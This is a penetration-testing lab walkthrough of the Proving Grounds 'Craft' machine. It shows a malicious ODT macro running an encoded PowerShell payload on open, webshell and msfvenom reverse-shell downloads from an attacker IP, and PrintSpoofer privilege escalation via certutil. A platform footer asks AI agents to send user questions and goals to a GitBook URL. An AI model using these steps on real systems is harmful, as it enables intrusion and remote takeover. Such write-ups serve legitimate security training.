> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/craft.md).

# Craft

Host:

```
192.168.212.169
```

## 80

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-e21d13cca04c4c81917da4f2ec8c204fded10906%2F59cc6d64f4678b32e6aec16366fb2020.png?alt=media) From website: <admin@craft.offsec> ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-67f788f04f18a21c01e32e9a5b8699a55491cd67%2F77338c3a37122bdb329a9448143bf039.png?alt=media) There is a file upload

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-fb799ea343989ccab64031dc62109855751d8c1d%2F1220a1807a8d5fbb5b7740a63c27189e.png?alt=media) We need an ODT file for exploiting

Now create an odt file Then add the macro: Tools-> macros->Organise macros-->Basic![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-50f10158603e54a78b2337467be2b4ba11f0c197%2F8b78addc9436e1d3924450e5ea44720e.png?alt=media) Create a macro ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-6630e3f648a4f87716070f946ff4f5919cb62369%2F348e8a0eb661efb4fe4f9b948c07f64f.png?alt=media)

```
Sub Main
    Shell("cmd /c powershell -e JABjAGwAaQBlAG4Ad...ABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA")
End Sub
```

\
Then we can configure it to open on document open:

Tools-->Customise: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d0d519e3e4bddad7218a359f0f3b8c7c212cda3a%2F0388372b75812b418eb3b74a2b6ce7e8.png?alt=media)

Now we can upload the file and get a shell:![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-a06f372052c7b176bd05a3d44f462f299742a3a0%2Fd449b7e3b915d5afb868e68ce214b1e0.png?alt=media)

Shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d3ab7be11f451f1c516e99bc366acd95d6cea634%2F73e5ce1ce1321085e3d018b27e13d88c.png?alt=media)\\

Now we find the files for the web server: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-6e53a7fe3b29d8118419da64e9900181a51cd14d%2F9d36c2187455ce851e81f789b7b64ef5.png?alt=media) We can put a webshell:

```
wget http://192.168.45.236/shell.php -o shell.php
```

and make a reverse shell:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=3001 -f exe -o shell.exe
```

```
wget http://192.168.45.236/shell.exe -o shell.exe
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-cddeb232e44a9e5dd25cddc900ca6082270fb605%2Ff9b617c4ef49ae6916c440848f3410bb.png?alt=media) Now we can run it: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-67a017d8e8ab26beb93def8c8f70cb61147b072c%2F2f4c6c00550a1ea63cfda8571898745b.png?alt=media) Now we get a shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c0bb822633d65d446988ba6a71e9efb07b08cf5c%2F1bc733991916fcc4a58d61fed7c2995a.png?alt=media)\\

Now using `whoami /priv`: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-065b3d1621f14bdde9b05dde90eca1bd13e033ff%2F9c8a085ea19c4ad0b16a534dc8e4b5d3.png?alt=media)

We can use PrintSpoofer:

```
certutil -urlcache -f http://192.168.45.236/PrintSpoofer64.exe PrintSpoofer64.exe
```

```
PrintSpoofer.exe -i -c powershell.exe
```

We get a shell as nt authority\system:![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-595cd7f44a89353fb1d99e9505a86ecac9d47c7e%2F579fa7ad9786155f24ec53855257de75.png?alt=media)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/craft.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
